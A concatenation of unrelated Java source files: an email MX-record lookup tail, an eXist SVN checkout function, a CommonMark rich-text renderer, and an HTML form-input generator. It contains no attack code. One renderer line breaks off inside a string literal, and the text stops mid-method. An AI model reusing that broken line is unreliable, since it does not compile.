return ((MXRecord) arg0).getPriority() - ((MXRecord) arg1).getPriority();
}
});
// Create records collection
for (int i = 0; i < records.length; i++) {
MXRecord mx = (MXRecord) records[i];
String targetString = mx.getTarget().toString();
URLName uName = new URLName(
SMTP_PROTOCOL_PREFIX +
targetString.substring(0, targetString.length() - 1));
recordsColl.add(uName);
}
} else {
foundOriginalMX = false;
}
/*
* If we found no MX record for the original hostname (the upper
* level domains does not matter), then we add the original domain
* name (identified with an A record) to the record collection,
* because the mail exchange server could be the main server too.
*
* We append the A record to the first place of the record
* collection, because the standard says if no MX record found then
* we should to try send email to the server identified by the A
* record.
*/
if (!foundOriginalMX) {
Record[] recordsTypeA = new Lookup(hostName, Type.A).run();
if (recordsTypeA != null && recordsTypeA.length > 0) {
recordsColl.add(new URLName(SMTP_PROTOCOL_PREFIX + hostName));
}
}
return recordsColl;
}
private static String getCause(Throwable e) {
List<String> messages = new ArrayList<>();
Throwable cause = e;
while (cause != null) {
messages.add(cause.getMessage());
cause = cause.getCause();
}
Collections.reverse(messages);
return messages.stream().collect(Collectors.joining("; "));
}
}
|
package org.exist.versioning.svn.xquery;
import org.exist.dom.QName;
import org.exist.versioning.svn.Resource;
import org.exist.versioning.svn.WorkingCopy;
import org.exist.xquery.BasicFunction;
import org.exist.xquery.Cardinality;
import org.exist.xquery.FunctionSignature;
import org.exist.xquery.XPathException;
import org.exist.xquery.XQueryContext;
import org.exist.xquery.value.FunctionParameterSequenceType;
import org.exist.xquery.value.FunctionReturnSequenceType;
import org.exist.xquery.value.IntegerValue;
import org.exist.xquery.value.Sequence;
import org.exist.xquery.value.SequenceType;
import org.exist.xquery.value.Type;
import org.tmatesoft.svn.core.SVNException;
import org.tmatesoft.svn.core.SVNURL;
import org.tmatesoft.svn.core.wc.SVNRevision;
/**
* Checks out a working copy from a repository. Like 'svn checkout URL[@REV] PATH (-r..)' command.
*
* @author <a href="mailto:amir.akhmedov@gmail.com">Amir Akhmedov</a>
* @author <a href="mailto:shabanovd@gmail.com">Dmitriy Shabanov</a>
*
*/
public class SVNCheckOut extends BasicFunction {
protected static final FunctionParameterSequenceType SVN_URI_ARGUMENT = new FunctionParameterSequenceType("repository-uri", Type.ANY_URI, Cardinality.EXACTLY_ONE, "The subversion repository URI from which the list should be retrieved");
protected static final FunctionParameterSequenceType DB_URI_ARGUMENT = new FunctionParameterSequenceType("destination-path", Type.STRING, Cardinality.EXACTLY_ONE, "A local path where the working copy will be fetched into.");
public final static FunctionSignature signature[] = {
new FunctionSignature(
new QName("checkout", SVNModule.NAMESPACE_URI, SVNModule.PREFIX), "Checks out a working copy from a repository. Like 'svn checkout URL[@REV] PATH (-r..)' command.",
new SequenceType[] {
SVN_URI_ARGUMENT,
DB_URI_ARGUMENT
},
new FunctionReturnSequenceType(Type.LONG, Cardinality.EXACTLY_ONE, "value of the revision actually checked out from the repository")
),
new FunctionSignature(
new QName("checkout", SVNModule.NAMESPACE_URI, SVNModule.PREFIX), "Checks out a working copy from a repository. Like 'svn checkout URL[@REV] PATH (-r..)' command.",
new SequenceType[] {
SVN_URI_ARGUMENT,
DB_URI_ARGUMENT,
new FunctionParameterSequenceType("login", Type.STRING, Cardinality.EXACTLY_ONE, "Login to authenticate on svn server."),
new FunctionParameterSequenceType("passwrod", Type.STRING, Cardinality.EXACTLY_ONE, "Passord to authenticate on svn server.")
},
new FunctionReturnSequenceType(Type.LONG, Cardinality.EXACTLY_ONE, "value of the revision actually checked out from the repository")
)
};
public SVNCheckOut(XQueryContext context, FunctionSignature signature) {
super(context, signature);
}
@Override
public Sequence eval(Sequence[] args, Sequence contextSequence) throws XPathException {
String login = "";
String password = "";
if (args.length == 4) {
login = args[2].getStringValue();
password = args[3].getStringValue();
}
WorkingCopy wc = new WorkingCopy(login, password);
String uri = args[0].getStringValue();
String destPath = args[1].getStringValue();
Resource wcDir = new Resource(destPath);
if (wcDir.exists()) {
throw new XPathException(this,
"the destination directory '"
+ wcDir.getAbsolutePath() + "' already exists!");
}
wcDir.mkdirs();
long rev = -1;
try {
rev = wc.checkout(SVNURL.parseURIEncoded(uri), SVNRevision.HEAD, wcDir, true);
} catch (SVNException svne) {
throw new XPathException(this,
"error while checking out a working copy for the location '"
+ uri + "'", svne);
}
return new IntegerValue(rev);
}
}
|
package com.dua3.utility.text;
import java.util.LinkedList;
import java.util.List;
import java.util.Locale;
import java.util.function.BiConsumer;
import org.commonmark.node.AbstractVisitor;
import org.commonmark.node.BlockQuote;
import org.commonmark.node.BulletList;
import org.commonmark.node.Code;
import org.commonmark.node.CustomBlock;
import org.commonmark.node.CustomNode;
import org.commonmark.node.Document;
import org.commonmark.node.Emphasis;
import org.commonmark.node.FencedCodeBlock;
import org.commonmark.node.HardLineBreak;
import org.commonmark.node.Heading;
import org.commonmark.node.HtmlBlock;
import org.commonmark.node.HtmlInline;
import org.commonmark.node.Image;
import org.commonmark.node.IndentedCodeBlock;
import org.commonmark.node.Link;
import org.commonmark.node.ListItem;
import org.commonmark.node.Node;
import org.commonmark.node.OrderedList;
import org.commonmark.node.Paragraph;
import org.commonmark.node.SoftLineBreak;
import org.commonmark.node.StrongEmphasis;
import org.commonmark.node.Text;
import org.commonmark.node.ThematicBreak;
import org.commonmark.node.Visitor;
import com.dua3.utility.Pair;
import com.dua3.utility.text.TextAttributes.Attribute;
class RichTextRenderer {
static class LiteralCollectingVisitor extends AbstractVisitor {
private StringBuilder sb = new StringBuilder();
@Override
public String toString() {
return sb.toString();
}
@Override
public void visit(Text node) {
sb.append(node.getLiteral());
super.visit(node);
}
}
static class RTVisitor extends AbstractVisitor {
private final RichTextBuilder app;
private boolean atStartOfLine = true;
public RTVisitor(RichTextBuilder app) {
this.app = app;
}
@Override
public void visit(BlockQuote node) {
Attribute attr = new Attribute(MarkDownStyle.BLOCK_QUOTE);
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(BulletList node) {
Attribute attr = new Attribute(MarkDownStyle.BULLET_LIST);
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(Code node) {
Attribute attr = new Attribute(MarkDownStyle.CODE);
push(TextAttributes.STYLE_START_RUN, attr);
appendText(node.getLiteral());
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
private void appendText(String literal) {
app.append(literal);
if (!literal.isEmpty()) {
atStartOfLine = literal.charAt(literal.length()-1)=='\n';
}
}
@Override
public void visit(CustomBlock node) {
Attribute attr = new Attribute(MarkDownStyle.CUSTOM_BLOCK);
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(CustomNode node) {
Attribute attr = new Attribute(MarkDownStyle.CUSTOM_NODE);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(Document node) {
Attribute attr = new Attribute(MarkDownStyle.DOCUMENT);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(Emphasis node) {
Attribute attr = new Attribute(MarkDownStyle.EMPHASIS);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(FencedCodeBlock node) {
Attribute attr = new Attribute(MarkDownStyle.FENCED_CODE_BLOCK);
push(TextAttributes.STYLE_START_RUN, attr);
appendText(node.getLiteral());
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(HardLineBreak node) {
Attribute attr = new Attribute(MarkDownStyle.HARD_LINE_BREAK);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(Heading node) {
String id = extractText(node, (v, n) -> v.visit(n)).toLowerCase(Locale.ROOT).trim();
Attribute attr = new Attribute(MarkDownStyle.HEADING,
Pair.of(MarkDownStyle.ATTR_HEADING_LEVEL, node.getLevel()),
Pair.of(MarkDownStyle.ATTR_ID, id));
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLine();
}
@Override
public void visit(HtmlBlock node) {
Attribute attr = new Attribute(MarkDownStyle.HTML_BLOCK);
push(TextAttributes.STYLE_START_RUN, attr);
appendText(node.getLiteral());
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(HtmlInline node) {
Attribute attr = new Attribute(MarkDownStyle.HTML_INLINE);
push(TextAttributes.STYLE_START_RUN, attr);
appendText(node.getLiteral());
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(Image node) {
String altText = extractText(node, (v, n) -> v.visit(n));
Attribute attr = new Attribute(MarkDownStyle.IMAGE,
Pair.of(MarkDownStyle.ATTR_IMAGE_SRC, node.getDestination()),
Pair.of(MarkDownStyle.ATTR_IMAGE_TITLE, node.getTitle()),
Pair.of(MarkDownStyle.ATTR_IMAGE_ALT, altText));
push(TextAttributes.STYLE_START_RUN, attr);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(IndentedCodeBlock node) {
Attribute attr = new Attribute(MarkDownStyle.INDENTED_CODE_BLOCK);
push(TextAttributes.STYLE_START_RUN, attr);
appendText(node.getLiteral());
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(Link node) {
Attribute attr = new Attribute(MarkDownStyle.LINK,
Pair.of(MarkDownStyle.ATTR_LINK_HREF, node.getDestination()),
Pair.of(MarkDownStyle.ATTR_LINK_TITLE, node.getTitle()),
Pair.of(MarkDownStyle.ATTR_LINK_EXTERN, !node.getDestination().startsWith("
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(ListItem node) {
Attribute attr = new Attribute(MarkDownStyle.LIST_ITEM);
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(OrderedList node) {
Attribute attr = new Attribute(MarkDownStyle.ORDERED_LIST);
appendNewLineIfNeeded();
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(Paragraph node) {
Attribute attr = new Attribute(MarkDownStyle.PARAGRAPH);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
private void appendNewLineIfNeeded() {
if (!atStartOfLine) {
appendNewLine();
}
}
private void appendNewLine() {
app.append('\n');
atStartOfLine = true;
}
@Override
public void visit(SoftLineBreak node) {
Attribute attr = new Attribute(MarkDownStyle.SOFT_LINE_BREAK);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
// TODO what to put here?
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
@Override
public void visit(StrongEmphasis node) {
Attribute attr = new Attribute(MarkDownStyle.STRONG_EMPHASIS);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
}
@Override
public void visit(Text node) {
appendText(node.getLiteral());
super.visit(node);
}
@Override
public void visit(ThematicBreak node) {
Attribute attr = new Attribute(MarkDownStyle.THEMATIC_BREAK);
push(TextAttributes.STYLE_START_RUN, attr);
super.visit(node);
push(TextAttributes.STYLE_END_RUN, attr);
appendNewLineIfNeeded();
}
private <N extends Node> String extractText(N node, BiConsumer<? super Visitor, N> consumer) {
LiteralCollectingVisitor lcv = new LiteralCollectingVisitor();
consumer.accept(lcv, node);
return lcv.toString();
}
private void push(String key, Attribute attr) {
@SuppressWarnings("unchecked")
List<Attribute> current = (List<Attribute>) app.pop(key);
if (current == null) {
current = new LinkedList<>();
}
current.add(attr);
app.push(key, current);
}
}
public RichText render(Node node) {
RichTextBuilder app = new RichTextBuilder();
render(node, app);
return app.toRichText();
}
public void render(Node node, RichTextBuilder app) {
node.accept(new RTVisitor(app));
}
}
|
package picoded.webTemplateEngines.FormGenerator;
import java.text.DateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.ArrayList;
import java.util.Map;
import java.util.TreeMap;
import com.amazonaws.util.StringUtils;
import com.fasterxml.jackson.databind.deser.std.DateDeserializers.CalendarDeserializer;
import com.hazelcast.instance.Node;
import picoded.conv.ConvertJSON;
import picoded.conv.ListValueConv;
import picoded.conv.GenericConvert;
import picoded.conv.RegexUtils;
import picoded.struct.CaseInsensitiveHashMap;
public class FormInputTemplates {
public static StringBuilder displayDiv( FormNode node, String pfiClass ) {
String text = node.getString(JsonKeys.TEXT, "");
String fieldValue = node.getStringValue();
String textAndField = text+fieldValue;
if(textAndField == null || textAndField.length() <= 0) {
return new StringBuilder();
}
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.DIV, pfiClass, null );
return sbArr[0].append(textAndField).append(sbArr[1]);
}
protected static FormInputInterface div = (node)->{
return FormInputTemplates.displayDiv(node, "pfi_div pfi_input");
};
protected static FormInputInterface header = (node)->{
String text = node.getString(JsonKeys.TEXT, "");
String fieldValue = node.getStringValue() != null ? node.getStringValue():"";
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.HEADER, "pfi_header pfi_input", null );
return sbArr[0].append(text).append(fieldValue).append(sbArr[1]);
};
protected static FormInputInterface select = (node)->{
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.SELECT, "pfi_select pfi_input", null );
StringBuilder ret = sbArr[0];
// Prepeare the option key value list
List<String> keyList = new ArrayList<String>();
List<String> nmeList = new ArrayList<String>();
// Generates the dropdown list, using either map or list
Object dropDownObject = node.get(JsonKeys.OPTIONS);
nmeList = dropdownNameList(dropDownObject);
keyList = dropdownKeyList(dropDownObject);
// Use the generated list, to populate the option set
String selectedKey = node.getStringValue();
createDropdownHTMLString(ret, keyList, nmeList, selectedKey);
ret.append(sbArr[1]);
return ret;
};
protected static FormInputInterface input_text = (node)->{
CaseInsensitiveHashMap<String,String> paramMap = new CaseInsensitiveHashMap<String, String>();
String fieldValue = node.getStringValue();
paramMap.put(HtmlTag.TYPE, "text");
if( fieldValue != null && fieldValue.length() >= 0 ) {
paramMap.put(HtmlTag.VALUE, fieldValue);
}
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.INPUT, "pfi_inputText pfi_input", paramMap );
return sbArr[0].append(sbArr[1]);
};
protected static FormInputInterface input_textarea = (node)->{
CaseInsensitiveHashMap<String,String> paramMap = new CaseInsensitiveHashMap<String, String>();
String fieldValue = node.getStringValue();
paramMap.put(HtmlTag.TYPE, "text");
if( fieldValue != null && fieldValue.length() >= 0 ) {
paramMap.put(HtmlTag.VALUE, fieldValue);
}
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.TEXTAREA, "pfi_inputTextBox pfi_input", paramMap );
return sbArr[0].append(sbArr[1]);
};
protected static FormInputInterface dropdownWithOthers = (node)->{
return dropdownWithOthers(node, false);
};
protected static StringBuilder dropdownWithOthers(FormNode node, boolean displayMode){
if(!displayMode){
Map<String, String> funcMap = new HashMap<String, String>();
String funcName = node.getString(JsonKeys.FUNCTION_NAME, "OnChangeDefaultFuncName");
String nodeName = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(node.getString(JsonKeys.FIELD)).toLowerCase();
funcMap.put("onchange", funcName+"()"); //get this value from map
funcMap.put("id", nodeName);
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.SELECT, "pf_select", funcMap );
StringBuilder ret = new StringBuilder(getDropDownOthersJavascriptFunction(node) + sbArr[0].toString());
// Prepeare the option key value list
List<String> keyList = new ArrayList<String>();
List<String> nmeList = new ArrayList<String>();
// Generates the dropdown list, using either map or list
Object dropDownObject = node.get(JsonKeys.OPTIONS);
nmeList = dropdownNameList(dropDownObject);
keyList = dropdownKeyList(dropDownObject);
// Use the generated list, to populate the option set
String selectedKey = node.getStringValue();
createDropdownHTMLString(ret, keyList, nmeList, selectedKey);
ret.append(sbArr[1]);
//append inputtexthere
String inputTextFieldName = node.getString("textField", "dropdownfieldname");
Map<String, String> inputParamMap = new HashMap<String, String>();
inputParamMap.put("style", "display:none");
inputParamMap.put("type", "text");
inputParamMap.put("name", inputTextFieldName);
inputParamMap.put("id", inputTextFieldName);
StringBuilder[] inputTextArr = node.defaultHtmlInput( HtmlTag.INPUT, "pf_inputText", inputParamMap );
ret.append(inputTextArr[0].toString() + inputTextArr[1].toString());
return ret;
}else{
StringBuilder ret = new StringBuilder();
Map<String, String> funcMap = new HashMap<String, String>();
String nodeName = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(node.getString(JsonKeys.FIELD)).toLowerCase();
funcMap.put("id", nodeName);
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.DIV, "pf_select", funcMap );
ret.append(sbArr[0]);
String val = node.getStringValue();
String valLowercased = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(val).toLowerCase();
Object dropDownObject = node.get(JsonKeys.OPTIONS);
List<String> keyList = dropdownKeyList(dropDownObject);
List<String> nameList = dropdownNameList(dropDownObject);
if(!keyList.contains(valLowercased)){
ret.append("Others: "+val);
}else{
ret.append(val);
}
ret.append(sbArr[1]);
return ret;
}
}
@SuppressWarnings("unchecked")
protected static FormInputInterface checkbox = (node)->{
return createCheckbox(node, false, "pf_div pf_checkboxSet");
};
@SuppressWarnings("unchecked")
protected static StringBuilder createCheckbox(FormNode node, boolean displayMode, String pfiClass){
CaseInsensitiveHashMap<String,String> paramMap = new CaseInsensitiveHashMap<String, String>();
paramMap.put(HtmlTag.TYPE, JsonKeys.CHECKBOX);
List<String> checkboxSelections = new ArrayList<String>();
if(!node.getFieldName().isEmpty()){
Object nodeDefaultVal = node.getRawFieldValue();
if(nodeDefaultVal != null){
if(nodeDefaultVal instanceof String){
if(((String)nodeDefaultVal).contains("[")){
List<Object> nodeValMap = ConvertJSON.toList((String)nodeDefaultVal);
for(Object obj : nodeValMap){
String sanitisedSelection = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators((String)obj);
sanitisedSelection = RegexUtils.removeAllWhiteSpace(sanitisedSelection);
checkboxSelections.add(sanitisedSelection.toLowerCase());
}
}else{
String sanitisedSelection = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators((String)nodeDefaultVal);
sanitisedSelection = RegexUtils.removeAllWhiteSpace(sanitisedSelection);
checkboxSelections.add(sanitisedSelection.toLowerCase());
}
}else if(nodeDefaultVal instanceof List){
for(String str : (List<String>)nodeDefaultVal){
String sanitisedSelection = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(str);
sanitisedSelection = RegexUtils.removeAllWhiteSpace(sanitisedSelection);
checkboxSelections.add(sanitisedSelection.toLowerCase());
}
}
}
}
Map<String, String> keyNamePair = new HashMap<String, String>();
Object optionsObject = node.get(JsonKeys.OPTIONS);
keyNamePair = optionsKeyNamePair(optionsObject);
String realName = node.getFieldName();
realName = realName.replace("_dummy", "");
FormNode tempNode = new FormNode(node._formGenerator, node);
tempNode.replace("field", realName+"_dummy");
StringBuilder ret = new StringBuilder();
for(String key:keyNamePair.keySet()){
if(!displayMode){
CaseInsensitiveHashMap<String,String> tempMap = new CaseInsensitiveHashMap<String, String>(paramMap);
tempMap.put("value", key);
String key_sanitised = RegexUtils.removeAllNonAlphaNumeric_allowCommonSeparators(key);
key_sanitised = RegexUtils.removeAllWhiteSpace(key).toLowerCase();
for(String selection : checkboxSelections){
if(key_sanitised.equalsIgnoreCase(selection)){
tempMap.put("checked", "checked");
}
}
//generate onchange function
if(realName != null && !realName.isEmpty()){
int x = 0;
String onChangeFunctionString = "saveCheckboxValueToHiddenField('"+realName+"_dummy', '"+realName+"')";
tempMap.put("onchange", onChangeFunctionString);
}
StringBuilder[] sbArr = tempNode.defaultHtmlInput( HtmlTag.INPUT, "pfi_inputCheckbox pfi_input", tempMap );
ret.append("<div class=\"pfc_inputCheckboxWrap\">");
ret.append("<label class=\"pfi_inputCheckbox_label\">");
ret.append(sbArr[0]);
ret.append(sbArr[1]);
ret.append("<div class=\"pfi_inputCheckbox_labelTextPrefix\"></div>");
ret.append("<div class=\"pfi_inputCheckbox_labelText\">");
ret.append(keyNamePair.get(key));
ret.append("</div>");
ret.append("</label>");
ret.append("</div>");
}else{
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.DIV, "pfi_inputCheckbox pfi_input", null );
ret.append("<div class=\"pfc_inputCheckboxWrap_display\">");
boolean found = false;
for(String selection : checkboxSelections){
if(key.equalsIgnoreCase(selection)){
sbArr[0].append("<div class=\"pf_displayCheckbox pf_displayCheckbox_selected\"></div>");
found = true;
}
}
if(!found){
sbArr[0].append("<div class=\"pf_displayCheckbox pf_displayCheckbox_unselected\"></div>");
}
sbArr[0].append("<div class=\"pf_displayCheckbox_text\">"+keyNamePair.get(key)+"</div>");
ret.append(sbArr[0]);
ret.append(sbArr[1]);
ret.append("</div>");
}
}
//generate hidden input here
String hiddenInputTag = "<input type=\"text\" class=\"pfi_input\" style=\"display:none\" name=\""+realName+"\"></input>";
StringBuilder[] wrapper = tempNode.defaultHtmlInput( HtmlTag.DIV, pfiClass, null );
ret = wrapper[0].append(ret);
ret.append(hiddenInputTag);
ret.append(wrapper[1]);
return ret;
}
protected static FormInputInterface table = (node)->{
return tableWrapper(node, false);
};
@SuppressWarnings("unchecked")
protected static StringBuilder tableWrapper(FormNode node, boolean displayMode){
StringBuilder ret = new StringBuilder();
//<table> tags
StringBuilder[] wrapperArr = node.defaultHtmlWrapper( HtmlTag.TABLE, node.prefix_standard()+"div", null );
//table header/label
ret.append("<thead>");
if(node.containsKey("tableHeader")){
ret.append("<tr><th>"+node.getString("tableHeader")+"</th></tr>");
}
List<Object> tableHeaders = getTableHeaders(node);
if(tableHeaders != null && tableHeaders.size() > 0){
ret.append("<tr>");
for(Object header:tableHeaders){
ret.append("<th>"+(String)header+"</th>");
}
ret.append("</tr>");
}
ret.append("</thead>");
ret.append("<tbody>");
boolean removeLabelFromSecondIteration = false;
boolean firstIteration = true;
//data
List<Map<String, String>> childData = getTableChildrenData(node);
CaseInsensitiveHashMap<String, Object> nodeValues = node._inputValue;
List<CaseInsensitiveHashMap<String, Object>> clientsValues = (List<CaseInsensitiveHashMap<String, Object>>)node._inputValue.get(node.getFieldName());
for(Map<String, Object> childValues : clientsValues){
ret.append("<tr>");
for(Map<String, String> childMap : childData){
String childNodeType = childMap.get(JsonKeys.TYPE);
FormNode childNode = new FormNode();
childNode._inputValue = new CaseInsensitiveHashMap<String, Object>(childValues);
childNode.putAll(childMap);
childNode._formGenerator = node._formGenerator;
if( removeLabelFromSecondIteration && !firstIteration) {
//remove labels
//TODO maybe
}
FormWrapperInterface func = node._formGenerator.wrapperInterface(displayMode, childNodeType);
StringBuilder sb = func.apply(childNode);
ret.append("<td>");
ret.append(sb);
ret.append("</td>");
}
ret.append("</tr>");
firstIteration = false;
}
ret.append("</tbody>");
//final squashing
ret = wrapperArr[0].append(ret);
ret.append(wrapperArr[1]);
return ret;
}
protected static FormInputInterface verticalTable = (node)->{
return verticalTable(node, false);
};
@SuppressWarnings("unchecked")
protected static StringBuilder verticalTable(FormNode node, boolean displayMode){
StringBuilder ret = new StringBuilder();
//<table> tags
StringBuilder[] wrapperArr = node.defaultHtmlWrapper( HtmlTag.TABLE, node.prefix_standard()+"div", null );
//table header/label
ret.append("<thead>");
if(node.containsKey("tableHeader")){
ret.append("<tr><th>"+node.getString("tableHeader")+"</th></tr>");
}
ret.append("</thead>");
ret.append("<tbody>");
List<Object> tableHeaders = getTableHeaders(node);
//data
List<Map<String, String>> childData = getTableChildrenData(node);
CaseInsensitiveHashMap<String, Object> nodeValues = node._inputValue;
List<CaseInsensitiveHashMap<String, Object>> clientsValues = (List<CaseInsensitiveHashMap<String, Object>>)node._inputValue.get(node.getFieldName());
//for each header type, loop through child data values and pull out the corresponding data
int childDataCounter = 0;
for(Object tableHeaderRaw : tableHeaders){
String tableHeader = (String)tableHeaderRaw;
ret.append("<tr>");
ret.append("<th>"+tableHeader+"</th>");
Map<String, String> childMap = childData.get(childDataCounter); //childmap is in declare
String type = childMap.get(JsonKeys.TYPE);
String field = childMap.get("field");
for(Map<String, Object> dataValues : clientsValues){ //data values is in define
if(dataValues.containsKey(field)){
FormNode childNode = new FormNode();
childNode._inputValue = new CaseInsensitiveHashMap<String, Object>(dataValues);
childNode.putAll(childMap);
childNode._formGenerator = node._formGenerator;
FormWrapperInterface func = node._formGenerator.wrapperInterface(displayMode, type);
StringBuilder sb = func.apply(childNode);
ret.append("<td>");
ret.append(sb.toString());
ret.append("</td>");
}
}
++childDataCounter;
ret.append("</tr>");
}
ret.append("</tbody>");
//final squashing
ret = wrapperArr[0].append(ret);
ret.append(wrapperArr[1]);
return ret;
}
protected static FormInputInterface image = (node)->{
return image(node, false);
};
//image has no data passed in
protected static StringBuilder image(FormNode node, boolean displayMode){
StringBuilder ret = new StringBuilder();
Map<String, String> params = new HashMap<String, String>();
String srcPath = "";
if(node.containsKey("relativePath")){
srcPath = node.getString("relativePath");
}
params.put("src", srcPath);
StringBuilder[] inputArr = node.defaultHtmlInput("img", "pfi_image", params );
ret.append(inputArr[0]);
ret.append(inputArr[1]);
return ret;
}
protected static FormInputInterface signature = (node)->{
return signature(node, false);
};
protected static StringBuilder signature(FormNode node, boolean displayMode){
StringBuilder ret = new StringBuilder();
String sigValue = node.getStringValue();//will return a file path, e.g. output/outPNG_siga.png
StringBuilder sigImgString = new StringBuilder();
if(sigValue != null && !sigValue.isEmpty()){
FormNode innerImgNode = new FormNode();
innerImgNode._inputValue = node._inputValue;
innerImgNode._formGenerator = node._formGenerator;
innerImgNode.put("type", "image");
//innerImgNode.put("inputCss", "height:80px");
innerImgNode.put("relativePath", sigValue);
sigImgString = innerImgNode.fullHtml(false);
}
String fieldName = node.getFieldName();
ret.append("<div class=\"pfi_signatureDisplay\" name=\""+fieldName+"\" id=\""+fieldName+"\" style=\"height:135px;\">");
if(sigValue != null && !sigValue.isEmpty()){
ret.append(sigImgString);
}
ret.append("</div>");
if(!displayMode){
ret.append("<h3>Click along the line to sign.</h3>");
}
return ret;
}
protected static FormInputInterface datePicker = (node)->{
return datePicker(node, false);
};
protected static StringBuilder datePicker(FormNode node, boolean displayMode){
StringBuilder ret = new StringBuilder();
CaseInsensitiveHashMap<String,String> paramMap = new CaseInsensitiveHashMap<String, String>();
String fieldValue = node.getStringValue();
String hiddenInputTag = "";
if( fieldValue != null && fieldValue.length() >= 0 ) {
fieldValue = sanitiseYMDDateString(fieldValue);
paramMap.put(HtmlTag.VALUE, fieldValue);
}
if(!displayMode){
paramMap.put(HtmlTag.TYPE, "date");
if(node.containsKey("max")){
String maxDate = sanitiseYMDDateString(node.getString("max"));
if(maxDate != null && !maxDate.isEmpty()){
paramMap.put("max", maxDate);
}
}
if(node.containsKey("min")){
String minDate = sanitiseYMDDateString(node.getString("min"));
if(minDate != null && !minDate.isEmpty()){
paramMap.put("min", minDate);
}
}
//retrieve the name, and append _date to it
String hiddenInputName = node.getFieldName(); //set the hidden input field to the name given
if(hiddenInputName != null && !hiddenInputName.isEmpty()){
node.replace("field", hiddenInputName+"_date");
String onchangeFunctionString = "changeDateToEpochTime(this.value, '"+hiddenInputName+"')";
paramMap.put("onchange", onchangeFunctionString);
}
//generate hidden input field
hiddenInputTag = "<input class=\"pfi_input\" type=\"text\" name=\""+hiddenInputName+"\" style=\"display:none\" value=\""+fieldValue+"\"></input>";
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.INPUT, "pfi_inputDate pfi_input", paramMap );
ret.append(sbArr[0]);
ret.append(sbArr[1]);
if(!displayMode){
ret.append(hiddenInputTag);
}
}else{
//paramMap.put(HtmlTag.TYPE, "text");
if(!fieldValue.isEmpty()){
System.out.println(fieldValue);
}
node.replace("type", "text");
StringBuilder[] sbArr = node.defaultHtmlInput( HtmlTag.DIV, "pfi_inputDate pfi_input", null );
ret.append(sbArr[0].append(fieldValue).append(sbArr[1]));
}
return ret;
}
protected static FormInputInterface raw_html = (node)->{
StringBuilder sb = new StringBuilder();
sb.append(node.getString(JsonKeys.HTML_INJECTION));
return sb;
};
protected static Map<String, FormInputInterface> defaultInputTemplates() {
Map<String, FormInputInterface> defaultTemplates = new CaseInsensitiveHashMap<String, FormInputInterface>();
// Wildcard fallback
defaultTemplates.put("*", FormInputTemplates.div);
// Standard divs
defaultTemplates.put(JsonKeys.DIV, FormInputTemplates.div);
defaultTemplates.put(JsonKeys.TITLE, FormInputTemplates.header);
defaultTemplates.put(JsonKeys.DROPDOWN, FormInputTemplates.select);
defaultTemplates.put(JsonKeys.TEXT, FormInputTemplates.input_text);
defaultTemplates.put(JsonKeys.TEXTAREA, FormInputTemplates.input_textarea);
defaultTemplates.put(JsonKeys.HTML_INJECTION, FormInputTemplates.raw_html);
defaultTemplates.put(JsonKeys.DROPDOWN_WITHOTHERS, FormInputTemplates.dropdownWithOthers);
defaultTemplates.put(JsonKeys.CHECKBOX, FormInputTemplates.checkbox);
defaultTemplates.put("table", FormInputTemplates.table);
